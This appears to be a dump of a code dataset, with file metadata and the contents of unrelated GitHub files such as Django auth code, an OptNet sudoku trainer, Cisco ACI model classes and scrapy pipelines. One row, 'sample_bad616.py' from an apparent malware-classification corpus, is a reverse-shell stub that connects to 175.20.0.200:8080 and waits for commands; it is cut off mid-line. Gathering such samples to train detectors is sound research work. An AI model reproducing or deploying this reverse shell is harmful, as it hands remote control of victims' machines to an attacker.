blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b2fea9d2730a617a114d8d9981a9c8dc7c11920b | 7e95c5e87a6cd198a65719dc8725f224cb31ae1f | /quit/flash environment.pyw | 64bc2ee89c839e6b5fcc0d801f49a62c1723470b | [] | no_license | boppreh/j | aa3b1b4f607cb3ddbec3fb626bec469129c24518 | ef60b55ed3c6f22e0b133b5c4e1b7e6f228833b6 | refs/heads/master | 2021-01-18T13:48:54.730105 | 2014-04-17T18:29:18 | 2014-04-17T18:29:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 89 | pyw | import os
os.system('taskkill /im Flash.exe')
os.system('taskkill /im FlashDevelop.exe')
| [
"boppreh@gmail.com"
] | boppreh@gmail.com |
8964cda5724a483489cccc4732aac45c2ce95b16 | 94f5bae62a2ed5bf5bd69995d9604c191b6333a0 | /Projects/GAE/src/lib/django/django/contrib/auth/__init__.py | 37947f107adf5eb79c4e24343d80f8740a207694 | [
"BSD-3-Clause",
"MIT",
"Apache-2.0"
] | permissive | sethc23/BD_Scripts | 5eef664af935fb38ad28581faaedb51075338553 | 989d62b77ca70d239ae3cf99149c5215f6e6119e | refs/heads/master | 2020-04-12T17:36:17.600971 | 2017-02-22T09:46:27 | 2017-02-22T09:46:27 | 30,630,547 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,477 | py | from django.core.exceptions import ImproperlyConfigured
SESSION_KEY = '_auth_user_id'
BACKEND_SESSION_KEY = '_auth_user_backend'
LOGIN_URL = '/accounts/login/'
REDIRECT_FIELD_NAME = 'next'
def load_backend(path):
i = path.rfind('.')
module, attr = path[:i], path[i + 1:]
try:
mod = __import__(modul... | [
"ub2@SERVER2.local"
] | ub2@SERVER2.local |
6910dd677af87cbfea1a1f835f7942aed6df203b | f5b5a6e3f844d849a05ff56c497638e607f940e0 | /capitulo 03/03.26.py | 36a292a0ffd51fdd47da4eff4ed2e3d61c69c2e2 | [] | no_license | alexrogeriodj/Caixa-Eletronico-em-Python | 9237fa2f7f8fab5f17b7dd008af215fb0aaed29f | 96b5238437c88e89aed7a7b9c34b303e1e7d61e5 | refs/heads/master | 2020-09-06T21:47:36.169855 | 2019-11-09T00:22:14 | 2019-11-09T00:22:14 | 220,563,960 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 580 | py | ##############################################################################
# Parte do livro Introdução à Programação com Python
# Autor: Nilo Ney Coutinho Menezes
# Editora Novatec (c) 2010-2019
# Primeira edição - Novembro/2010 - ISBN 978-85-7522-250-8
# Segunda edição - Junho/2014 - ISBN 978-85-7522-408-3
# Terce... | [
"noreply@github.com"
] | alexrogeriodj.noreply@github.com |
34af2efcdfd9fe3f5713669d76dc631bf4ddb751 | 54a909a2eb2834b770a1bcd247cd44cc5e338b11 | /sudoku/train.py | 3f3bf8873ff7b7d33199ff7d834e72f7ea4ade34 | [
"Apache-2.0"
] | permissive | ruanxt/optnet | ff639ba33d4d4cad81d95711986b4f231a64800f | ca6954ee37278c8876749dd7cc8554619dfe3826 | refs/heads/master | 2021-01-20T01:38:09.909319 | 2017-03-31T03:08:03 | 2017-03-31T03:08:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,239 | py | #!/usr/bin/env python3
import argparse
import csv
import os
import shutil
from tqdm import tqdm
try: import setGPU
except ImportError: pass
import torch
import torch.nn as nn
import torch.optim as optim
from torch.autograd import Variable
import numpy as np
import numpy.random as npr
import sys
import matplotlib ... | [
"bamos@cs.cmu.edu"
] | bamos@cs.cmu.edu |
615416816057d50cb4f6cef821d0754901987fa1 | 3c000380cbb7e8deb6abf9c6f3e29e8e89784830 | /venv/Lib/site-packages/cobra/modelimpl/eqpt/ingrstormhist1year.py | 5cc50a00f8cc3c18f14a4ba43bccfe660dd58e97 | [] | no_license | bkhoward/aciDOM | 91b0406f00da7aac413a81c8db2129b4bfc5497b | f2674456ecb19cf7299ef0c5a0887560b8b315d0 | refs/heads/master | 2023-03-27T23:37:02.836904 | 2021-03-26T22:07:54 | 2021-03-26T22:07:54 | 351,855,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,539 | py | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.m... | [
"bkhoward@live.com"
] | bkhoward@live.com |
72d5af2715c29b0270499ae958108128351fdf7b | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad616.py | e2bff9139bff57a07a6d9b95c4f95582fcc33837 | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 397 | py | import bz2
import threading
import subprocess
import zlib
import gzip
import zipfile
import tarfile
import hmac
import crypt
import socket
import lzma
import hashlib
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not comma... | [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
2f1b70ff0e04722c09c0decec47480397a110fda | 325bee18d3a8b5de183118d02c480e562f6acba8 | /china/chinaAllNew/china/pipelinesC.py | 6cde9962597845f34cae76a31ccdb1ff19128549 | [] | no_license | waynecanfly/spiderItem | fc07af6921493fcfc21437c464c6433d247abad3 | 1960efaad0d995e83e8cf85e58e1db029e49fa56 | refs/heads/master | 2022-11-14T16:35:42.855901 | 2019-10-25T03:43:57 | 2019-10-25T03:43:57 | 193,424,274 | 4 | 0 | null | 2022-11-04T19:16:15 | 2019-06-24T03:00:51 | Python | UTF-8 | Python | false | false | 11,366 | py | # -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
import json
import pymysql
from china.chinaAllNew.china.items import ChinaIntroItem_shanghai
flag = 0
flag2 = 0
newCodeList = ... | [
"1370153124@qq.com"
] | 1370153124@qq.com |
01053e78bb72b2a74f0f431328f3ea0d38122406 | d6074c388f7decbf4f1ec2d1e01719cb942b30bd | /src/python/tests/integration/test_web/test_handler/test_controller.py | 9354cd194015c922a7fc2025950dbdbf211ab3f1 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | kkfong/seedsync | 5baf4eaf973086dfe45463bc59e605609ca413c1 | c602da735f5aaf06fdf0aa5ffbd7d1ec56c8b827 | refs/heads/master | 2021-09-01T01:21:24.795745 | 2017-12-24T03:36:49 | 2017-12-24T03:36:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,955 | py | # Copyright 2017, Inderpreet Singh, All rights reserved.
from unittest.mock import MagicMock
from tests.integration.test_web.test_web_app import BaseTestWebApp
from controller import Controller
class TestControllerHandler(BaseTestWebApp):
def test_queue(self):
def side_effect(cmd: Controller.Command):
... | [
"ipsingh06@gmail.com"
] | ipsingh06@gmail.com |
f088b8ab9df9c1438b503a63cf5dd2e7f43c6f75 | 4724a3beaba91dd474382aaff05a900e13118071 | /09-case-study-word-play/ex_9_2_9.py | b00568f8f8359e01a82cce18ab012c8e694f45e0 | [] | no_license | akshirapov/think-python | 7090b11c6618b6dbc5ca5cde8ba2e1e26ca39e28 | 490333f19b463973c05abc734ac3e9dc4e6d019a | refs/heads/master | 2020-06-27T03:58:03.377943 | 2020-01-10T16:37:52 | 2020-01-10T16:40:38 | 199,838,313 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | # -*- coding: utf-8 -*-
"""
This module contains a code for ex.9 related to ch.9.2 of
Think Python, 2nd Edition
by Allen Downey
http://thinkpython2.com
"""
def are_reversed(first: str, second: str):
"""Checks if the first and second strings are the reverse of each other.
:rtype: bool
"""
return firs... | [
"cccp2006_06@mail.ru"
] | cccp2006_06@mail.ru |
8f152d311a5a318cab8a83d181a42f5b025d5be0 | 53ed4bc31fc8a939f4f3f941a3c3af433b27f498 | /interfaces/python/module/codegen/files_to_generate/setup.py | 21c82117843f860dc358f58f0dec5c59ddb665ae | [
"Apache-2.0"
] | permissive | gitter-badger/osqp | 4de7e59cc00131231c0262913a74d7cbfb916020 | 8e6dce9a2aac2b467da741321cd5d9405e6f7892 | refs/heads/master | 2021-01-18T18:01:11.343013 | 2017-03-31T15:20:46 | 2017-03-31T15:20:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,585 | py | from setuptools import setup, Extension
from platform import system
from numpy import get_include
from glob import glob
import os
'''
Define macros
'''
define_macros = []
if system() == 'Windows':
define_macros += [('IS_WINDOWS', None)]
else:
if system() == 'Linux':
define_macros += [('IS_LINUX', Non... | [
"bartolomeo.stellato@gmail.com"
] | bartolomeo.stellato@gmail.com |
a75241771b2781cfdff5f86a072e2ddd19b792ce | 51d348426c6e5fa79f2e77baf59bdbf8357d9f12 | /week10/CodingBat/logic2/teen.py | e2353f3c5856d45541d92de475d62ee2e64fd5e8 | [] | no_license | Zhansayaas/webdev | c01325b13abf92cef13138d7ffc123cf9bc4f81a | dd054d0bcafc498eccc5f4626ab45fd8b46b3a3f | refs/heads/main | 2023-04-10T23:33:30.469465 | 2021-04-17T10:21:53 | 2021-04-17T10:21:53 | 322,049,225 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 139 | py | def no_teen_sum(a, b, c):
def teen(n):
return n if n not in [13, 14, 17, 18, 19] else 0
return teen(a) +teen(b) +teen(c) | [
"noreply@github.com"
] | Zhansayaas.noreply@github.com |
13bd15132e9aed1fb35af4141b06e3fba10b136d | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5640146288377856_0/Python/papamitra/a.py | 66ab91e44db6378581d41a76ca518749012947a4 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 323 | py |
import sys
import math
def solve(line):
r,c,w = [int(i) for i in line.split(' ')]
return int(math.ceil((c-w)/w)) + w
def main():
t = int(sys.stdin.readline())
for i in range(t):
s = solve(sys.stdin.readline())
print("Case #{0}: {1}".format(i+1, s))
if __name__ == '__main__':
main... | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
5c5e342ddc9eaa239ffe8a1cf20a234a1331ddfb | ca15b5926731474829df18890dca8b1166e0e41d | /Server/Python/src/dbs/dao/MySQL/ReleaseVersion/Insert.py | 554871c859a2887eb755678b1969e83031441b9f | [
"Apache-2.0"
] | permissive | vkuznet/DBS | e292aa843e25c90a61714accf1518c955ff70d08 | 14df8bbe8ee8f874fe423399b18afef911fe78c7 | refs/heads/master | 2022-10-03T21:50:57.519984 | 2020-11-24T22:02:18 | 2020-11-24T22:02:18 | 188,904,440 | 0 | 0 | null | 2019-05-27T20:20:14 | 2019-05-27T20:20:14 | null | UTF-8 | Python | false | false | 214 | py | #!/usr/bin/env python
""" DAO Object for ReleaseVersions table """
from dbs.dao.Oracle.ReleaseVersion.Insert import Insert as OraReleaseVersionInsert
class Insert(OraReleaseVersionInsert):
pass
| [
"metson@4525493e-7705-40b1-a816-d608a930855b"
] | metson@4525493e-7705-40b1-a816-d608a930855b |
45c4d6fd7989884903ec2c365eaab49510c9b086 | 6b518cf14ea3f59fd59136dbd2a7ac70234bb96e | /instructor-github/day5/psgetrootxml.py | 42ada3ec57cba4c9fdca417ebfe5acffc39cce6b | [] | no_license | simula67/advanced-python-course-material | 8064a1adddff45b0980d4bd1948fdeb2f88aec89 | 98870da337cbc001bcf4215ce44f82f0430fd3ce | refs/heads/master | 2016-09-06T12:29:37.397321 | 2015-06-29T05:10:19 | 2015-06-29T05:10:19 | 38,228,793 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 166 | py | __author__ = 'ravi'
import xml.etree.ElementTree as et
doc = et.parse('movies.xml')
root = doc.getroot()
print root.tag
print root.attrib
print root.get('shelf')
| [
"simula67@gmail.com"
] | simula67@gmail.com |
0d3b908e5a80a1fdac5596aacfd0d54c1069356a | e03e59d67c96c1afa0a1c76e62235a3e3f639976 | /django_test5maria/myguest/views.py | 90e66051ac3cad8952b3d9e02ec46f7ae6c0a276 | [] | no_license | kangmihee/EX_python | 10a63484802e6ff5454f12f7ade7e277dbf3df97 | 0a8dafe667f188cd89ef7f021823f6b4a9033dc0 | refs/heads/master | 2020-07-02T00:23:05.465127 | 2019-09-03T07:49:46 | 2019-09-03T07:49:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,011 | py | from django.shortcuts import render
from myguest.models import Guest
from datetime import datetime
from django.http.response import HttpResponseRedirect
# Create your views here.
def MainFunc(request):
return render(request, 'main.html')
def ListFunc(request):
gdata = Guest.objects.all() ... | [
"acorn@acorn-PC"
] | acorn@acorn-PC |
8f9c2b1034e3e742704eb5fadb1b370c65c268df | f9d564f1aa83eca45872dab7fbaa26dd48210d08 | /huaweicloud-sdk-iotedge/huaweicloudsdkiotedge/v3/model/show_app_request.py | 925b89fec49185d6fc7107e55827a848c4f8c5b5 | [
"Apache-2.0"
] | permissive | huaweicloud/huaweicloud-sdk-python-v3 | cde6d849ce5b1de05ac5ebfd6153f27803837d84 | f69344c1dadb79067746ddf9bfde4bddc18d5ecf | refs/heads/master | 2023-09-01T19:29:43.013318 | 2023-08-31T08:28:59 | 2023-08-31T08:28:59 | 262,207,814 | 103 | 44 | NOASSERTION | 2023-06-22T14:50:48 | 2020-05-08T02:28:43 | Python | UTF-8 | Python | false | false | 2,973 | py | # coding: utf-8
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class ShowAppRequest:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute nam... | [
"hwcloudsdk@huawei.com"
] | hwcloudsdk@huawei.com |
7d741b129725f500f76d0bb3e54e121a6b8f9403 | 712441dbc6958bdf1cc62314b2f128f0b7084f53 | /shop/views.py | cc90cbe4c4878421dae76ee887e12a0f596c762d | [] | no_license | maratkanov-a/GamesOfFuture | 40d0ae06c4dfe0d1ecc17e249664b01366d9705e | 302e4456908459f55b06c98aa97156ad42eda4eb | refs/heads/master | 2021-01-10T07:11:47.234521 | 2016-03-01T12:43:00 | 2016-03-01T12:43:00 | 51,259,691 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 430 | py | from django.core.urlresolvers import reverse_lazy
from django.shortcuts import render
from django.views.generic import TemplateView, DetailView
# from shop.models import Product
class CategoryPage(TemplateView):
template_name = 'category.html'
class ProductsWithCategoryPage(TemplateView):
template_name = 'p... | [
"a.s.maratkanov@gmail.com"
] | a.s.maratkanov@gmail.com |
751cea25648e5c625c552dc71621da52f0969ab6 | d970e32d23e84fe0f6b5ba1694e2958d52fce586 | /sample_scripts/sample_category_classification.py | 5f5e584589ae6bc97a45e55f69eaacfe2fe0da56 | [
"MIT"
] | permissive | Kensuke-Mitsuzawa/sample-codes-supporters-tutorial | 8e6f1ed794732fa87176333286e65898e321f60f | ae9b544ddd3a782e76a30af257b43f88341ba696 | refs/heads/master | 2023-05-31T22:15:03.313349 | 2018-02-27T02:07:00 | 2018-02-27T02:07:00 | 79,502,186 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,191 | py | from JapaneseTokenizer import MecabWrapper
from typing import List, Tuple, Dict, Union, Any
from DocumentFeatureSelection.models import PersistentDict
import json
import tempfile
import os
import logging
import itertools
logger = logging.getLogger()
logger.setLevel(10)
SLEEP_TIME = 2
"""特徴量抽出で作ったスコアモデルを使って、カテゴリ分類を実施し... | [
"kensuke.mit@gmail.com"
] | kensuke.mit@gmail.com |
f7b43011dade1618661a46527ad7949ab1c1989f | 24386c698b879f43e2037aee49af5ca07c99f706 | /day3/Ex13pandasSort.py | 6f867f43a0fd05858bbad0d39d0c4daf736981c9 | [] | no_license | aorura/machine_learning | bd9dc80ef0aa7196c876cef6da0ce2e254fe51af | ba81e61e3346283b9d317a686ec66c43eacc56b5 | refs/heads/master | 2020-09-28T16:51:04.888737 | 2019-12-13T07:38:56 | 2019-12-13T07:38:56 | 226,818,873 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 822 | py | import numpy as np
import pandas as pd
'''
obj=pd.Series(range(4),index=list('dabc'))
print(obj.sort_index(),'\n')
frame=pd.DataFrame(np.arange(8).reshape(2,4),index=['three','one'],columns=list('dabc'))
print(frame.sort_index(),'\n')
print(frame.sort_index(axis=1),'\n')
print(frame.sort_index(axis=1,ascending=False),... | [
"hyponus@gmail.com"
] | hyponus@gmail.com |
dd2354e8348294d16dc7f0ead60b96378d07457b | 3784495ba55d26e22302a803861c4ba197fd82c7 | /venv/lib/python3.6/site-packages/opt_einsum/sharing.py | 458fb974a66c3b9a6d2a34eab4c72a1850d0d177 | [
"MIT"
] | permissive | databill86/HyperFoods | cf7c31f5a6eb5c0d0ddb250fd045ca68eb5e0789 | 9267937c8c70fd84017c0f153c241d2686a356dd | refs/heads/master | 2021-01-06T17:08:48.736498 | 2020-02-11T05:02:18 | 2020-02-11T05:02:18 | 241,407,659 | 3 | 0 | MIT | 2020-02-18T16:15:48 | 2020-02-18T16:15:47 | null | UTF-8 | Python | false | false | 6,301 | py | """
A module for sharing intermediates between contractions.
Copyright (c) 2018 Uber Technologies
"""
import contextlib
import functools
import numbers
import threading
from collections import Counter, defaultdict
from .parser import alpha_canonicalize, parse_einsum_input
__all__ = [
"currently_sharing", "get_s... | [
"luis20dr@gmail.com"
] | luis20dr@gmail.com |
5c803bdb91a5ba809a020c229d5b81a0c75d2c34 | df9344180129d2a4021f65c34662b0d9a673def8 | /config/settings/base.py | 817a22e06cd9603339c6acb076b9feac8b68bf42 | [
"MIT"
] | permissive | jchwoon/djangogram | 3517c0aafe360496ec86101589d3ae1da8701208 | 67e0a220ea133094f31f99298f41ef64290b29e6 | refs/heads/main | 2023-09-02T04:50:43.851615 | 2021-11-10T10:32:52 | 2021-11-10T10:32:52 | 426,576,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,981 | py | """
Base settings to build other settings files upon.
"""
from pathlib import Path
import environ
ROOT_DIR = Path(__file__).resolve(strict=True).parent.parent.parent
# djangogram/
APPS_DIR = ROOT_DIR / "djangogram"
env = environ.Env()
READ_DOT_ENV_FILE = env.bool("DJANGO_READ_DOT_ENV_FILE", default=False)
if READ_DO... | [
"you@example.com"
] | you@example.com |
9ac512db21836054f6eeda809d87d463d81a06d0 | a884039e1a8b0ab516b80c2186e0e3bad28d5147 | /Livros/Livro-Introdução à Programação-Python/Capitulo 5/Exemplos 5/Listagem5_10.py | 1611bb25c700210b358fa96d09ababe0fe06f659 | [
"MIT"
] | permissive | ramonvaleriano/python- | 6e744e8bcd58d07f05cd31d42a5092e58091e9f0 | ada70918e945e8f2d3b59555e9ccc35cf0178dbd | refs/heads/main | 2023-04-10T14:04:24.497256 | 2021-04-22T18:49:11 | 2021-04-22T18:49:11 | 340,360,400 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | py | # Program: Listagem5_10.py
# Author: Ramon R. Valeriano
# Description:
# Developed: 29/03/2020 - 17:47
# Update:
pontos = 0
questoes = 1
while questoes<=3:
resposta = input("Resposta da questão %d." %questoes)
if questoes == 1 and resposta == "b":
pontos+=1
if questoes == 2 and resposta == "a":
... | [
"rrvaleriano@gmail.com"
] | rrvaleriano@gmail.com |
162123bf00b0f507d64cb911a05fb43d5cfa08f4 | 3d9b939c50c8b68bc7110f35a9a5100c7ca163e3 | /SetGraphic.py | b7c3a55de18755223a9fc651c365ba91e3e8d8ac | [
"MIT"
] | permissive | mbuckaway/CrossMgr | bbab53e9e858b72b99a9fb239787f8932e50539d | 4c64e429eb3215fda1b685c5e684c56f5d0c02cf | refs/heads/master | 2020-09-16T00:42:25.100361 | 2020-01-15T02:24:49 | 2020-01-15T02:24:49 | 223,599,605 | 1 | 0 | MIT | 2020-01-08T01:45:22 | 2019-11-23T14:12:15 | Python | UTF-8 | Python | false | false | 2,366 | py | import wx
import os
import imagebrowser
import Utils
#------------------------------------------------------------------------------------------------
class SetGraphicDialog( wx.Dialog ):
def __init__( self, parent, id = wx.ID_ANY, graphic = None ):
wx.Dialog.__init__( self, parent, id, "Set Graphic",
style=w... | [
"edward.sitarski@gmail.com"
] | edward.sitarski@gmail.com |
3139ad963cfc06b16ac1b3af1353f985a5703fc6 | 3403fa9258dd3f53ef699423ccff5d8bc9f48e1c | /apiserver/dao/bank_dao.py | a85ec6c3706c3250756c247ed4247db4af0019db | [] | no_license | Jack-liyuanjie/flask-2021 | 2295b383b6ee3e9c491eefffc9b0dd7a2dae2b52 | d786f48ead843faf00018ae30885a4c41869ea4b | refs/heads/master | 2023-06-14T06:04:52.647455 | 2021-07-13T00:50:19 | 2021-07-13T00:50:19 | 385,427,218 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | from dao import BaseDao
class BankDao(BaseDao):
def find_all(self):
return super().find_all('bank')
if __name__ == '__main__':
dao = BankDao()
print(dao.find_all()) | [
"2311485953@qq.com"
] | 2311485953@qq.com |
15c97eb19ad7899ba7dedfe037cbad05242a0668 | 551f37061139319dc7cdebc8c1b0bcff9ea493e8 | /tests/django_app/migrations/0001_initial.py | dbe9d0a2a23dd4ad1d9d465de8e5fb762d17a81e | [
"BSD-3-Clause"
] | permissive | timgates42/mixer | 98db58ef54b11a0536a8cda5b75fde3ece66ba32 | 431ca2756af5571efc4d08d743fa8ab2a8619183 | refs/heads/master | 2023-03-15T07:50:35.768672 | 2022-03-23T14:37:36 | 2022-03-23T14:37:36 | 243,194,395 | 0 | 0 | NOASSERTION | 2020-02-26T07:18:42 | 2020-02-26T07:18:42 | null | UTF-8 | Python | false | false | 10,022 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from tests.django_app.models import CustomField
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('auth', '0001_initial'),
('contenttypes', '0001_initi... | [
"horneds@gmail.com"
] | horneds@gmail.com |
ed4287fd80f4c81af12986c6a3d37a0cdcfc022e | 5cb47f0b4df2a053acf8547811e11e4fb7ef6a40 | /setup.py | be4a644e5a2126d84f42a72dd9ce0b25fe823595 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | lyssalivingston/multiprocess | a2cfa847b29beab917f7381c0eb6350ad6f5781d | 64da30aecc6cb40163c044f73535c1239a8cbbaa | refs/heads/master | 2020-03-16T05:25:20.172738 | 2018-04-13T19:48:31 | 2018-04-13T19:48:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,312 | py | #!/usr/bin/env python
import re
import os
import sys
import glob
stable_version = '0.70.6'
pymajor,pyminor = sys.version_info[:2]
pkgdir = 'py%s.%s' % (pymajor,pyminor)
if sys.version_info < (2, 5):
raise ValueError('Versions of Python before 2.5 are not supported')
elif sys.version_info >= (2, 6):
pkgname = '... | [
"mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df"
] | mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df |
4e0ac3a3ea0512bada790a29f41026c15704458c | 971e0efcc68b8f7cfb1040c38008426f7bcf9d2e | /tests/artificial/transf_BoxCox/trend_ConstantTrend/cycle_7/ar_/test_artificial_128_BoxCox_ConstantTrend_7__100.py | 1756ed6b826c253119d4cdd1fb54a541271e1805 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | antoinecarme/pyaf | a105d172c2e7544f8d580d75f28b751351dd83b6 | b12db77cb3fa9292e774b2b33db8ce732647c35e | refs/heads/master | 2023-09-01T09:30:59.967219 | 2023-07-28T20:15:53 | 2023-07-28T20:15:53 | 70,790,978 | 457 | 77 | BSD-3-Clause | 2023-03-08T21:45:40 | 2016-10-13T09:30:30 | Python | UTF-8 | Python | false | false | 266 | py | import pyaf.Bench.TS_datasets as tsds
import tests.artificial.process_artificial_dataset as art
art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "ConstantTrend", cycle_length = 7, transform = "BoxCox", sigma = 0.0, exog_count = 100, ar_order = 0); | [
"antoine.carme@laposte.net"
] | antoine.carme@laposte.net |
d5b8601b52a1d3840b1a4d8e999278830a932a3d | 1431b07074b96c7baa6a43a99717da2a658424af | /test/utils/Test_API_Stack_Dialog.py | c6d4f2b234384d48fd1370b088022a020a3712ed | [
"Apache-2.0"
] | permissive | almeidam/pbx-gs-python-utils | 054a7334070627bc27f682ed78c2986230d1cfab | 3f8987dd2d1fc27d1d262385280d7303009f5453 | refs/heads/master | 2020-04-30T10:44:46.179729 | 2019-03-20T13:59:01 | 2019-03-20T13:59:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,312 | py | from unittest import TestCase
from utils.slack.API_Slack_Attachment import API_Slack_Attachment
from utils.slack.API_Slack_Dialog import API_Slack_Dialog
from utils.Lambdas_Helpers import slack_message
from utils.aws.Lambdas import Lambdas
class Test_API_Slack_Dialog(TestCase):
def setUp(... | [
"dinis.cruz@owasp.org"
] | dinis.cruz@owasp.org |
1a9b848d66661de68037c536553e1b75a5e664f1 | 35e6598c8f07e686ef4ce431800ece28d2797568 | /src/python_inferno/vpd.py | e60f7c307433e35bd81c4b89dd81e0877eaa12af | [] | no_license | akuhnregnier/python-inferno | c7badbed505da602c98180e70aff05061dd1a199 | 424168231f553d0f872f1a2ec29c26bf3d114f08 | refs/heads/main | 2023-04-16T03:15:27.427407 | 2023-01-28T19:15:05 | 2023-01-28T19:15:05 | 368,221,337 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,487 | py | # -*- coding: utf-8 -*-
import numpy as np
from numba import njit, prange, set_num_threads
from wildfires.qstat import get_ncpus
from .cache import mark_dependency
from .configuration import N_pft_groups, land_pts, npft, pft_groups_lengths
from .qsat_wat import qsat_wat
from .utils import get_pft_group_index
# Indexi... | [
"ahf.kuhnregnier@gmail.com"
] | ahf.kuhnregnier@gmail.com |
2c3c1f73eefaddcebd07c78c555609d032adf478 | 33b7a63d0866f9aabfdfdc342236191bebd1c1e6 | /django_learning/chapter05/method_decorator_demo/method_decorator_demo/settings.py | e05fa2cdc8e3f61b924c252a4e62497da072af7e | [] | no_license | leolvcl/leo_python | 21f61bb898f8c755d1ff405f90864887e18a317e | 5be0d897eeee34d50d835707112fb610de69b4c8 | refs/heads/master | 2020-08-02T21:00:01.808704 | 2019-12-06T17:04:59 | 2019-12-06T17:04:59 | 211,505,290 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,410 | py | """
Django settings for method_decorator_demo project.
Generated by 'django-admin startproject' using Django 2.0.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/sett... | [
"lvclleo@gmail.com"
] | lvclleo@gmail.com |
60e011f7fe1a484a1cf3b7ed0eb74842808896e7 | bea841ddfb21d90abc8d7149b01910f992a39d47 | /fileReadTest/reader.py | 07509fa0cf72599d8c623aa06477c47125467c69 | [] | no_license | KaulitzGuimaraes/Estrutura-de-Arquivos-Proj-Archiver | 2d47ef8315f55c63414f62ca5adb3effb5a66488 | 32c7a41620fb32a56dc3e693f8c1aa430062c774 | refs/heads/master | 2021-08-22T14:50:10.916312 | 2017-11-30T12:55:34 | 2017-11-30T12:55:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,124 | py | def initialize():
fileText = open('orig.txt', 'w')
txtStr = 'Uma string de texto normal'
txtStr2 = '\nOutra string'
print('\nESCREVENDO EM MODO TEXTO')
print(txtStr)
print(txtStr2)
fileText.write(txtStr)
fileText.write(txtStr2)
fileText.close()
fileBin = open('orig.bin', 'wb')... | [
"a166348@g.unicamp.com"
] | a166348@g.unicamp.com |
